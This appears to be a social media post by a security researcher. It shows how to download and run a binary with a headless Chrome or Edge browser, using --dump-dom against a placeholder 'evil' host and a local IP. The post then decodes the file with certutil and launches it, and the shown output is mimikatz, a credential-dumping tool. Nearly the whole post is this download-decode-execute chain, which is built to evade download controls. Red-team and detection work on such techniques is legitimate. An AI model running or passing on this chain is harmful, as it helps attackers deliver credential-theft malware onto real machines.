mr.d0x
@mrd0x

Another way to download files using msedge/chrome:

[msedge.exe | chrome.exe] --headless --enable-logging --disable-gpu --dump-dom "http://server/evil.b64.html" > out.b64

- Downloaded file should end with .html.
- Binaries should be encoded.

```
c:\Users\mr.d0x\Downloads>"c:\program files\google\chrome\application\chrome.exe" --headless --enab
e-logging --disable-gpu --dump-dom http://192.168.0.141/mimi.b64.html > out.b64.html

c:\Users\mr.d0x\Downloads>certutil -decode out.b64.html out.exe
Input Length = 1800591
Output Length = 1309448
CertUtil: -decode command completed successfully.

c:\Users\mr.d0x\Downloads>out.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # _
```

6:19 AM · Jan 4, 2022

**349** Reposts **11** Quotes **907** Likes **186** Bookmarks

186